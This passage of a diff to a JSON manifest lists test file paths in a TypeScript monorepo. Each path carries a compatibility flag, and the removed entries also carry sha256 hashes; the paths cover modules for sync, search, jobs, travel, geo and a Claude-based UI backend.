"tests/test-shards.test.ts":{"sha256":"af92bea7ccda4641aae8614449a50dad7c4ae152c672a227b03d1e820cea0ae6","compatible":true}, - "tests/test-wait-review-partition.test.ts":{"sha256":"c35e582ade08231118f0a0bdf2a715b3bf3650574f15ecffcde76edb12b03a26","compatible":true}, - "tests/turn-temp-backends.test.ts":{"sha256":"5a0db4f1fb8cac9591fbd5e18f7e89b7387a5db5c014d2e992547e12170250f2","compatible":true}, - "tests/unit-memory.test.ts":{"sha256":"643178c2ba3c6aaad52b77de3ce0b0ae84e8449227e7c29b1a851c0cb3a91d54","compatible":true}, - "tests/unit-proof-report.test.ts":{"sha256":"7d470d207d350b31d4c01c30ea549dc1db9138565695ec1416ad2736461bda57","compatible":true}, - "tests/unit-test-consumers.test.ts":{"sha256":"a490d7c9e2f26e13fb10dc05ebb655cf3dae9b1a72e911422305b095153bf4d0","compatible":true}, - "tests/unit-workers.test.ts":{"sha256":"6c7c177c54c0f9bc30d86fe74097deec6dd8be566535279db3d556ae915dfd0b","compatible":true}, - "tests/unused-exports-gate.test.ts":{"sha256":"c3a2702df695c260aecfacfc8d53d588f30799a236368aa63d08abb3800eddfb","compatible":true}, - "tests/visual-dictation-isolation.test.ts":{"sha256":"3ba5112b5376038e19b3c416b283b84141698c5de300c1ee337a4277a8d53a5b","compatible":true}, - "tests/visual-runner.test.ts":{"sha256":"32704ae9332f379325b0404ad860042762edd727c89e12fc3960dbebeb22146a","compatible":true}, - "tests/worker-areas-core.test.ts":{"sha256":"9453628d9244630a950b27e510bc755a6d71664a592555a0a9dbbf9551cb7299","compatible":true}, - "tests/worker-limits-workloads.test.ts":{"sha256":"6e8bef16feaff3fa703f6f1cc18cc9173b0bc5e337f0f829ef60a5b1122f2d79","compatible":true}, - "tests/worker-sandbox-note.test.ts":{"sha256":"5b494dcecd4808344b03e7c26ab000726098cc715514594a3b27194fd97d701e","compatible":true}, - "tests/worker-state-tmpfs.test.ts":{"sha256":"baff07f72537067c0c34fb11bb1fe5ff6e738c7eb4dec829be834babb637e9ff","compatible":true}, - "tests/workspace-lease.test.ts":{"sha256":"056a79260fdf86c5b1f127a08185310b71e200ea16876e66c8089b3b7b86379c","compatible":true}, - "tests/zero-request-replay.test.ts":{"sha256":"8835193819a7b033bcb98e92304590a6b6fb7b5f729a7e85fc309beab4678d37","compatible":true} + "experiments/1593-routing-only-capture.test.ts":{"compatible":true}, + "experiments/3434-extraction-classifier.test.ts":{"compatible":true}, + "experiments/3445-propagation-triage.test.ts":{"compatible":true}, + "experiments/4090-extraction-band.test.ts":{"compatible":true}, + "experiments/839-smart-capture.test.ts":{"compatible":true}, + "experiments/843-canonical-conflicts-score.test.ts":{"compatible":true}, + "experiments/844-tag-aliases.test.ts":{"compatible":true}, + "experiments/845-opportunity-lifecycle-score.test.ts":{"compatible":true}, + "experiments/849-candidate-scoring.test.ts":{"compatible":true}, + "experiments/850-import-enrichment-score.test.ts":{"compatible":true}, + "experiments/attribute-show-block-schema.test.ts":{"compatible":true}, + "experiments/bounded-read-contract.test.ts":{"compatible":true}, + "experiments/core/sync-judge-datasets.test.ts":{"compatible":true}, + "experiments/core/sync-judge-measure.test.ts":{"compatible":true}, + "experiments/decision-citations.test.ts":{"compatible":true}, + "experiments/git-read-qualification.test.ts":{"compatible":true}, + "experiments/job-fit-lean.test.ts":{"compatible":true}, + "experiments/lean-mechanical-hygiene-scoring.test.ts":{"compatible":true}, + "experiments/lean-speaking-score.test.ts":{"compatible":true}, + "experiments/measure-graph-boost.test.ts":{"compatible":true}, + "experiments/measure-kv-runs.test.ts":{"compatible":true}, + "experiments/measure-show-block-gate.test.ts":{"compatible":true}, + "experiments/measure-sonnet55-cost.test.ts":{"compatible":true}, + "experiments/measure-suggestions.test.ts":{"compatible":true}, + "experiments/measurement-results.test.ts":{"compatible":true}, + "experiments/multi-query-search.test.ts":{"compatible":true}, + "experiments/multi-root-graph.test.ts":{"compatible":true}, + "experiments/pi-schema-measurement.test.ts":{"compatible":true}, + "experiments/show-block-live-credential.test.ts":{"compatible":true}, + "experiments/turn-surface-admission.test.ts":{"compatible":true}, + "experiments/turn-surface-capture.test.ts":{"compatible":true}, + "experiments/turn-surface-classifier.test.ts":{"compatible":true}, + "experiments/turn-surface-fixture-live.test.ts":{"compatible":true}, + "experiments/turn-surface-isolation.test.ts":{"compatible":true}, + "experiments/turn-surface-observation.test.ts":{"compatible":true}, + "experiments/turn-surface-overlap.test.ts":{"compatible":true}, + "experiments/turn-surface-routing.test.ts":{"compatible":true}, + "experiments/turn-surface-runtime-placement.test.ts":{"compatible":true}, + "experiments/turn-surface-stdout.test.ts":{"compatible":true}, + "experiments/ui-server/triage-eval-exit-code.test.ts":{"compatible":true}, + "packages/common/tests/apify-credentials.test.ts":{"compatible":true}, + "packages/common/tests/claude-subscription.test.ts":{"compatible":true}, + "packages/common/tests/frontmatter-block.test.ts":{"compatible":true}, + "packages/common/tests/frontmatter-parse.test.ts":{"compatible":true}, + "packages/common/tests/governance-policy-read.test.ts":{"compatible":true}, + "packages/common/tests/inline-containment-shapes.test.ts":{"compatible":true}, + "packages/common/tests/provider-relay.test.ts":{"compatible":true}, + "packages/common/tests/provider-unavailable.test.ts":{"compatible":true}, + "packages/common/tests/safe-path.test.ts":{"compatible":true}, + "packages/common/tests/taint-trust.test.ts":{"compatible":true}, + "packages/compute-boat/tests/ambiguous-create.test.ts":{"compatible":true}, + "packages/compute-boat/tests/cleanup.test.ts":{"compatible":true}, + "packages/compute-boat/tests/client.test.ts":{"compatible":true}, + "packages/compute-boat/tests/contract.test.ts":{"compatible":true}, + "packages/compute-boat/tests/cost.test.ts":{"compatible":true}, + "packages/compute-boat/tests/credential-free.test.ts":{"compatible":true}, + "packages/compute-boat/tests/errors.test.ts":{"compatible":true}, + "packages/compute-boat/tests/install-select.test.ts":{"compatible":true}, + "packages/compute-boat/tests/readiness.test.ts":{"compatible":true}, + "packages/compute-boat/tests/redact.test.ts":{"compatible":true}, + "packages/compute-boat/tests/secrets.test.ts":{"compatible":true}, + "packages/compute-boat/tests/settlement.test.ts":{"compatible":true}, + "packages/compute-boat/tests/stop-not-pause.test.ts":{"compatible":true}, + "packages/core/tests/agent-runner-contracts.test.ts":{"compatible":true}, + "packages/core/tests/alias-column.test.ts":{"compatible":true}, + "packages/core/tests/apify-site-permission.test.ts":{"compatible":true}, + "packages/core/tests/archive-reliability.test.ts":{"compatible":true}, + "packages/core/tests/asset-scan-exclude.test.ts":{"compatible":true}, + "packages/core/tests/audit-grouped-findings.test.ts":{"compatible":true}, + "packages/core/tests/auditor-canonical-policy.test.ts":{"compatible":true}, + "packages/core/tests/auditor.test.ts":{"compatible":true}, + "packages/core/tests/briefing-audit-count.test.ts":{"compatible":true}, + "packages/core/tests/briefing-focus-warnings.test.ts":{"compatible":true}, + "packages/core/tests/briefing-stale.test.ts":{"compatible":true}, + "packages/core/tests/briefing.test.ts":{"compatible":true}, + "packages/core/tests/cache-location.test.ts":{"compatible":true}, + "packages/core/tests/cache-merge.test.ts":{"compatible":true}, + "packages/core/tests/check-module-casts.test.ts":{"compatible":true}, + "packages/core/tests/chunk-fts.test.ts":{"compatible":true}, + "packages/core/tests/chunker-version-readonly.test.ts":{"compatible":true}, + "packages/core/tests/chunker.test.ts":{"compatible":true}, + "packages/core/tests/claude-runner-binary.test.ts":{"compatible":true}, + "packages/core/tests/claude-runner-default-native.test.ts":{"compatible":true}, + "packages/core/tests/claude-runner-protocol.test.ts":{"compatible":true}, + "packages/core/tests/claude-runner-rejected-token.test.ts":{"compatible":true}, + "packages/core/tests/claude-runner-subscription.test.ts":{"compatible":true}, + "packages/core/tests/cli-args.test.ts":{"compatible":true}, + "packages/core/tests/cli-contract.test.ts":{"compatible":true}, + "packages/core/tests/cli-gemini-content-exclude.test.ts":{"compatible":true}, + "packages/core/tests/cli-harness-bin-home.test.ts":{"compatible":true}, + "packages/core/tests/cli-harness-calendar.test.ts":{"compatible":true}, + "packages/core/tests/cli-harness-host-isolation.test.ts":{"compatible":true}, + "packages/core/tests/cli-no-sql.test.ts":{"compatible":true}, + "packages/core/tests/cli-onboarding.test.ts":{"compatible":true}, + "packages/core/tests/cli-output-completion.test.ts":{"compatible":true}, + "packages/core/tests/cli-path-arguments.test.ts":{"compatible":true}, + "packages/core/tests/cli-read-many.test.ts":{"compatible":true}, + "packages/core/tests/cli-read-only.test.ts":{"compatible":true}, + "packages/core/tests/cli-stats-exclude.test.ts":{"compatible":true}, + "packages/core/tests/cli-vector-stats.test.ts":{"compatible":true}, + "packages/core/tests/cli-withheld-providers.test.ts":{"compatible":true}, + "packages/core/tests/compute-cli.test.ts":{"compatible":true}, + "packages/core/tests/compute-config.test.ts":{"compatible":true}, + "packages/core/tests/compute-contracts-nonconforming.test.ts":{"compatible":true}, + "packages/core/tests/compute-contracts.test.ts":{"compatible":true}, + "packages/core/tests/compute-hosted.test.ts":{"compatible":true}, + "packages/core/tests/compute-identity.test.ts":{"compatible":true}, + "packages/core/tests/compute-lifecycle.test.ts":{"compatible":true}, + "packages/core/tests/compute-mcp.test.ts":{"compatible":true}, + "packages/core/tests/compute-ops.test.ts":{"compatible":true}, + "packages/core/tests/compute-race.test.ts":{"compatible":true}, + "packages/core/tests/compute-recovery.test.ts":{"compatible":true}, + "packages/core/tests/compute-refusals.test.ts":{"compatible":true}, + "packages/core/tests/compute-state.test.ts":{"compatible":true}, + "packages/core/tests/containment-rows.test.ts":{"compatible":true}, + "packages/core/tests/context-assembler.test.ts":{"compatible":true}, + "packages/core/tests/context-scope-surfaces.test.ts":{"compatible":true}, + "packages/core/tests/context-scope.test.ts":{"compatible":true}, + "packages/core/tests/contract-clock.test.ts":{"compatible":true}, + "packages/core/tests/data-only-frontmatter.test.ts":{"compatible":true}, + "packages/core/tests/discovery-walk.test.ts":{"compatible":true}, + "packages/core/tests/doctor-git-hooks-packaged.test.ts":{"compatible":true}, + "packages/core/tests/doctor-guarded.test.ts":{"compatible":true}, + "packages/core/tests/doctor-instructions-weight.test.ts":{"compatible":true}, + "packages/core/tests/doctor-shadowed-commands.test.ts":{"compatible":true}, + "packages/core/tests/doctor-tracked-leftovers.test.ts":{"compatible":true}, + "packages/core/tests/doctor-tracked-media.test.ts":{"compatible":true}, + "packages/core/tests/doctor.test.ts":{"compatible":true}, + "packages/core/tests/document-page.test.ts":{"compatible":true}, + "packages/core/tests/document-parts.test.ts":{"compatible":true}, + "packages/core/tests/document-writes.test.ts":{"compatible":true}, + "packages/core/tests/embed-on-commit.test.ts":{"compatible":true}, + "packages/core/tests/embedding-identity.test.ts":{"compatible":true}, + "packages/core/tests/embedding-policy.test.ts":{"compatible":true}, + "packages/core/tests/enrichment.test.ts":{"compatible":true}, + "packages/core/tests/env.test.ts":{"compatible":true}, + "packages/core/tests/eval-baseline.test.ts":{"compatible":true}, + "packages/core/tests/eval-cli.test.ts":{"compatible":false}, + "packages/core/tests/eval-contamination.test.ts":{"compatible":false}, + "packages/core/tests/eval-context.test.ts":{"compatible":true}, + "packages/core/tests/eval-corpus.test.ts":{"compatible":true}, + "packages/core/tests/eval-dates.test.ts":{"compatible":true}, + "packages/core/tests/eval-lint.test.ts":{"compatible":true}, + "packages/core/tests/eval-set.test.ts":{"compatible":true}, + "packages/core/tests/exclude-policy.test.ts":{"compatible":true}, + "packages/core/tests/fact-drift-exact-values.test.ts":{"compatible":true}, + "packages/core/tests/frontmatter-edit.test.ts":{"compatible":true}, + "packages/core/tests/frontmatter-fences.test.ts":{"compatible":true}, + "packages/core/tests/frontmatter-parse.test.ts":{"compatible":true}, + "packages/core/tests/frontmatter.test.ts":{"compatible":true}, + "packages/core/tests/gemini-query.test.ts":{"compatible":true}, + "packages/core/tests/generated-from.test.ts":{"compatible":true}, + "packages/core/tests/geo-cli.test.ts":{"compatible":true}, + "packages/core/tests/geo-config.test.ts":{"compatible":true}, + "packages/core/tests/governance-policy.test.ts":{"compatible":true}, + "packages/core/tests/graph-profiles.test.ts":{"compatible":true}, + "packages/core/tests/graph.test.ts":{"compatible":true}, + "packages/core/tests/hygiene-media.test.ts":{"compatible":true}, + "packages/core/tests/hygiene-next.test.ts":{"compatible":true}, + "packages/core/tests/hygiene-repair.test.ts":{"compatible":true}, + "packages/core/tests/hygiene-review.test.ts":{"compatible":true}, + "packages/core/tests/hygiene.test.ts":{"compatible":true}, + "packages/core/tests/index-location.test.ts":{"compatible":true}, + "packages/core/tests/index-staleness.test.ts":{"compatible":true}, + "packages/core/tests/indexer-reliability.test.ts":{"compatible":true}, + "packages/core/tests/indexer-targeted.test.ts":{"compatible":true}, + "packages/core/tests/indexer.test.ts":{"compatible":true}, + "packages/core/tests/ingestion.test.ts":{"compatible":true}, + "packages/core/tests/instructions-weight.test.ts":{"compatible":true}, + "packages/core/tests/jev-client.test.ts":{"compatible":true}, + "packages/core/tests/jev-reranker.test.ts":{"compatible":true}, + "packages/core/tests/link-walk.test.ts":{"compatible":true}, + "packages/core/tests/links-target-index.test.ts":{"compatible":true}, + "packages/core/tests/llm-util.test.ts":{"compatible":true}, + "packages/core/tests/maintain.test.ts":{"compatible":false}, + "packages/core/tests/markdown-fences.test.ts":{"compatible":true}, + "packages/core/tests/mcp-contract.test.ts":{"compatible":true}, + "packages/core/tests/media-config.test.ts":{"compatible":true}, + "packages/core/tests/media-effects.test.ts":{"compatible":true}, + "packages/core/tests/media-inventory.test.ts":{"compatible":true}, + "packages/core/tests/media-probe.test.ts":{"compatible":true}, + "packages/core/tests/media-references.test.ts":{"compatible":true}, + "packages/core/tests/media-review-contract.test.ts":{"compatible":true}, + "packages/core/tests/module-author-typing.test.ts":{"compatible":true}, + "packages/core/tests/module-dormancy.test.ts":{"compatible":true}, + "packages/core/tests/module-entry.test.ts":{"compatible":true}, + "packages/core/tests/module-loader-containment.test.ts":{"compatible":true}, + "packages/core/tests/module-mcp-tools.test.ts":{"compatible":true}, + "packages/core/tests/module-renderers.test.ts":{"compatible":true}, + "packages/core/tests/module-repositories.test.ts":{"compatible":true}, + "packages/core/tests/module-settings.test.ts":{"compatible":true}, + "packages/core/tests/module-state.test.ts":{"compatible":true}, + "packages/core/tests/module-tool-lint.test.ts":{"compatible":true}, + "packages/core/tests/okf-exporter.test.ts":{"compatible":true}, + "packages/core/tests/ops.test.ts":{"compatible":true}, + "packages/core/tests/paid-provider-qualification.test.ts":{"compatible":false}, + "packages/core/tests/policy-cli.test.ts":{"compatible":true}, + "packages/core/tests/propagation-review.test.ts":{"compatible":true}, + "packages/core/tests/provider-availability.test.ts":{"compatible":true}, + "packages/core/tests/provider-relay-jev.test.ts":{"compatible":true}, + "packages/core/tests/provider-relay-video.test.ts":{"compatible":true}, + "packages/core/tests/provider-routing.test.ts":{"compatible":true}, + "packages/core/tests/read-many.test.ts":{"compatible":true}, + "packages/core/tests/registry-regions.test.ts":{"compatible":false}, + "packages/core/tests/registry.test.ts":{"compatible":true}, + "packages/core/tests/render-scratch.test.ts":{"compatible":true}, + "packages/core/tests/render-static.runtime.test.ts":{"compatible":true}, + "packages/core/tests/render-static.test.ts":{"compatible":true}, + "packages/core/tests/render-write.test.ts":{"compatible":true}, + "packages/core/tests/render.test.ts":{"compatible":true}, + "packages/core/tests/rerank-half-lives.test.ts":{"compatible":true}, + "packages/core/tests/reranker-activation.test.ts":{"compatible":true}, + "packages/core/tests/reranker-helpers.test.ts":{"compatible":true}, + "packages/core/tests/reranker.test.ts":{"compatible":true}, + "packages/core/tests/safe-path.test.ts":{"compatible":true}, + "packages/core/tests/schedule-namespace-exclude.test.ts":{"compatible":true}, + "packages/core/tests/scratch-pins.test.ts":{"compatible":true}, + "packages/core/tests/scratch-publication.test.ts":{"compatible":true}, + "packages/core/tests/scratch.test.ts":{"compatible":false}, + "packages/core/tests/seam-contracts-nonconforming.test.ts":{"compatible":true}, + "packages/core/tests/seam-contracts.test.ts":{"compatible":true}, + "packages/core/tests/search-dates.test.ts":{"compatible":true}, + "packages/core/tests/search-language.test.ts":{"compatible":false}, + "packages/core/tests/search-reliability.test.ts":{"compatible":true}, + "packages/core/tests/search-rerank.test.ts":{"compatible":true}, + "packages/core/tests/search-result-tags.test.ts":{"compatible":true}, + "packages/core/tests/self-heading-links.test.ts":{"compatible":true}, + "packages/core/tests/skills-claude-emitter.test.ts":{"compatible":true}, + "packages/core/tests/skills-discover.test.ts":{"compatible":true}, + "packages/core/tests/skills-index-emitters.test.ts":{"compatible":true}, + "packages/core/tests/skills-installation.test.ts":{"compatible":true}, + "packages/core/tests/skills-lint.test.ts":{"compatible":true}, + "packages/core/tests/skills-pi-emitter.test.ts":{"compatible":true}, + "packages/core/tests/skills-shipped-lint.test.ts":{"compatible":true}, + "packages/core/tests/stats-history.test.ts":{"compatible":true}, + "packages/core/tests/stats-output.test.ts":{"compatible":true}, + "packages/core/tests/stats-trends-cli.test.ts":{"compatible":true}, + "packages/core/tests/stats-trends.test.ts":{"compatible":true}, + "packages/core/tests/stats.test.ts":{"compatible":false}, + "packages/core/tests/storage-attachment-facts.test.ts":{"compatible":true}, + "packages/core/tests/storage-attachments.test.ts":{"compatible":true}, + "packages/core/tests/storage-host-reader.test.ts":{"compatible":true}, + "packages/core/tests/storage-inventory.test.ts":{"compatible":true}, + "packages/core/tests/storage-pack-compatibility.test.ts":{"compatible":true}, + "packages/core/tests/storage-pack.test.ts":{"compatible":true}, + "packages/core/tests/storage-references.test.ts":{"compatible":true}, + "packages/core/tests/supersedes.test.ts":{"compatible":true}, + "packages/core/tests/sync-artifacts.test.ts":{"compatible":true}, + "packages/core/tests/sync-assess.test.ts":{"compatible":true}, + "packages/core/tests/sync-cache-commit.test.ts":{"compatible":true}, + "packages/core/tests/sync-commit.test.ts":{"compatible":true}, + "packages/core/tests/sync-dirt.test.ts":{"compatible":true}, + "packages/core/tests/sync-instruction-files.test.ts":{"compatible":true}, + "packages/core/tests/sync-judge-score.test.ts":{"compatible":true}, + "packages/core/tests/sync-judge.test.ts":{"compatible":true}, + "packages/core/tests/sync-merge-depth.test.ts":{"compatible":true}, + "packages/core/tests/sync-merge-golden.test.ts":{"compatible":true}, + "packages/core/tests/sync-merge-hidden.test.ts":{"compatible":true}, + "packages/core/tests/sync-merge-plan.test.ts":{"compatible":true}, + "packages/core/tests/sync-merge-properties.test.ts":{"compatible":true}, + "packages/core/tests/sync-pending-state.test.ts":{"compatible":true}, + "packages/core/tests/sync-pull-rebase.test.ts":{"compatible":true}, + "packages/core/tests/sync-run.test.ts":{"compatible":true}, + "packages/core/tests/sync-runtime.test.ts":{"compatible":true}, + "packages/core/tests/sync-scenarios.test.ts":{"compatible":true}, + "packages/core/tests/sync-stash.test.ts":{"compatible":true}, + "packages/core/tests/sync-stats-history.test.ts":{"compatible":true}, + "packages/core/tests/sync-verb.test.ts":{"compatible":true}, + "packages/core/tests/sync-verbs.test.ts":{"compatible":true}, + "packages/core/tests/tags-rewrite.test.ts":{"compatible":true}, + "packages/core/tests/tags.test.ts":{"compatible":true}, + "packages/core/tests/taxonomy-own-entries.test.ts":{"compatible":true}, + "packages/core/tests/taxonomy.test.ts":{"compatible":true}, + "packages/core/tests/update-archive-relevance.test.ts":{"compatible":true}, + "packages/core/tests/validate.test.ts":{"compatible":true}, + "packages/core/tests/vec-read-path.test.ts":{"compatible":true}, + "packages/core/tests/vec-support.test.ts":{"compatible":true}, + "packages/core/tests/video-completions.test.ts":{"compatible":true}, + "packages/core/tests/voice-namespace-exclude.test.ts":{"compatible":true}, + "packages/core/tests/wikilinks.test.ts":{"compatible":true}, + "packages/core/tests/worker-recovery.test.ts":{"compatible":true}, + "packages/core/tests/worker-roots.test.ts":{"compatible":true}, + "packages/geo/tests/coastline.test.ts":{"compatible":true}, + "packages/geo/tests/geocoding.test.ts":{"compatible":true}, + "packages/geo/tests/imported-track.test.ts":{"compatible":true}, + "packages/geo/tests/io.test.ts":{"compatible":true}, + "packages/geo/tests/normalized-track.test.ts":{"compatible":true}, + "packages/geo/tests/poi.test.ts":{"compatible":true}, + "packages/geo/tests/routing.test.ts":{"compatible":true}, + "packages/geo/tests/spatial.test.ts":{"compatible":true}, + "packages/geo/tests/static-map.test.ts":{"compatible":true}, + "packages/geo/tests/track-summary.test.ts":{"compatible":true}, + "packages/geo/tests/track.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/adopted-relay.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/axis.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/callouts.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/check-cli.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/export.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/geometry-cli.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/geometry.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/module.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/node-link.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/positional.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/renderer.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/routing-adaptive.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/scene-bounds.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/skill.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/skin.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/spec.test.ts":{"compatible":true}, + "packages/module-diagrams/tests/upstream-report.test.ts":{"compatible":true}, + "packages/module-finance/tests/finance.test.ts":{"compatible":true}, + "packages/module-images/tests/cli.test.ts":{"compatible":true}, + "packages/module-images/tests/live.test.ts":{"compatible":true}, + "packages/module-images/tests/module.test.ts":{"compatible":true}, + "packages/module-images/tests/providers.test.ts":{"compatible":true}, + "packages/module-images/tests/routing.test.ts":{"compatible":true}, + "packages/module-images/tests/scratch.test.ts":{"compatible":true}, + "packages/module-images/tests/shape.test.ts":{"compatible":true}, + "packages/module-jobs/tests/board-fixtures.test.ts":{"compatible":true}, + "packages/module-jobs/tests/board-selection-runtime.test.ts":{"compatible":true}, + "packages/module-jobs/tests/browser-absence.test.ts":{"compatible":true}, + "packages/module-jobs/tests/browser-politeness.test.ts":{"compatible":true}, + "packages/module-jobs/tests/default-boards.test.ts":{"compatible":true}, + "packages/module-jobs/tests/enrichment.test.ts":{"compatible":true}, + "packages/module-jobs/tests/fixture-records.test.ts":{"compatible":true}, + "packages/module-jobs/tests/jobs-dedup.test.ts":{"compatible":true}, + "packages/module-jobs/tests/jobs-fts.test.ts":{"compatible":true}, + "packages/module-jobs/tests/jobs-ingest-refresh.test.ts":{"compatible":true}, + "packages/module-jobs/tests/jobs-review-mcp.test.ts":{"compatible":true}, + "packages/module-jobs/tests/jobs-salary.test.ts":{"compatible":true}, + "packages/module-jobs/tests/jobs-score.test.ts":{"compatible":true}, + "packages/module-jobs/tests/jobs-search-cli.test.ts":{"compatible":true}, + "packages/module-jobs/tests/jsonld-mapper.test.ts":{"compatible":true}, + "packages/module-jobs/tests/module.test.ts":{"compatible":true}, + "packages/module-jobs/tests/parse-reporting.test.ts":{"compatible":true}, + "packages/module-jobs/tests/pipeline.test.ts":{"compatible":true}, + "packages/module-jobs/tests/scheduled-scrape.test.ts":{"compatible":true}, + "packages/module-jobs/tests/scrape-report-integration.test.ts":{"compatible":true}, + "packages/module-jobs/tests/settings.test.ts":{"compatible":true}, + "packages/module-jobs/tests/shared-adapter.test.ts":{"compatible":true}, + "packages/module-jobs/tests/skill-paths.test.ts":{"compatible":true}, + "packages/module-jobs/tests/source-selection.test.ts":{"compatible":true}, + "packages/module-jobs/tests/worker-scoring.test.ts":{"compatible":true}, + "packages/module-speaking/tests/module.test.ts":{"compatible":true}, + "packages/module-travel/tests/content.test.ts":{"compatible":true}, + "packages/module-travel/tests/data-only-frontmatter.test.ts":{"compatible":true}, + "packages/module-travel/tests/foundation.test.ts":{"compatible":true}, + "packages/module-travel/tests/output-naming.test.ts":{"compatible":true}, + "packages/module-travel/tests/photo.test.ts":{"compatible":true}, + "packages/module-travel/tests/routes-runtime.test.ts":{"compatible":true}, + "packages/module-travel/tests/routes.test.ts":{"compatible":true}, + "packages/module-travel/tests/runtime.test.ts":{"compatible":true}, + "packages/module-travel/tests/sync.test.ts":{"compatible":true}, + "packages/module-video/tests/cli.test.ts":{"compatible":true}, + "packages/module-video/tests/module.test.ts":{"compatible":true}, + "packages/render-template/tests/components.test.ts":{"compatible":true}, + "packages/render-template/tests/kinds.test.ts":{"compatible":true}, + "packages/render-template/tests/link-policy.test.ts":{"compatible":true}, + "packages/render-template/tests/lint.test.ts":{"compatible":true}, + "packages/render-template/tests/static.test.ts":{"compatible":true}, + "packages/render-template/tests/template.test.ts":{"compatible":true}, + "packages/scrape/tests/adapter.test.ts":{"compatible":true}, + "packages/scrape/tests/address-policy.test.ts":{"compatible":true}, + "packages/scrape/tests/browser-politeness.test.ts":{"compatible":true}, + "packages/scrape/tests/browser-session.test.ts":{"compatible":true}, + "packages/scrape/tests/client.test.ts":{"compatible":true}, + "packages/scrape/tests/env.test.ts":{"compatible":true}, + "packages/scrape/tests/jsonld.test.ts":{"compatible":true}, + "packages/scrape/tests/politeness.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/activity-tool.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/allowlist-enforcement.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/api-failure.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/autonomous-envelope.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/autonomous-prompt.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/autonomous-yield.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/backend-contract.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/backend.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/background-shell-runtime.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/cache-fingerprint.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/characterization-history.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/characterization-permissions.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/characterization-stream-usage.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/claude-code-path.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/cleanup-reconciler.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/completed-response-usage.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/compute-tools.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/confirm-archive.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/confirm-bash.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/deferred-worker-spawn.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/edited-approval.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/effort.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/env.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/failed-launch-cleanup.test.ts":{"compatible":false}, + "packages/ui-backend-claude/tests/fixtures/host-storage-isolation.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/follow-up-delivery.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/follow-up.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/github-write-availability.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/history-api-failure.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/history-task-notifications.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/history.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/host-exec.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/host-oauth.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/host-relay-native.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/host-storage-isolation.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/interactive-git-prompt.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/interactive-git-settings.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/loaded-sdk.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/maintenance-module-plumbing.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/markup-tool.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/measured-runtime.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/model-discovery.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/module-tool-lock.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/module.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/native-history-removal.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/native-hosted-permission.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/native-hosted-runtime.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/native-observation-retention.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/native-observation-settlement.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/native-restart-versions.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/native-route-qualification.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/native-stale-write.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/no-grant-surface.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/ordinary-host-relay.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/output-staging-refusal.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/outward-actions.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/permission-wiring-units.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/policy-commands.test.ts":{"compatible":true}, + 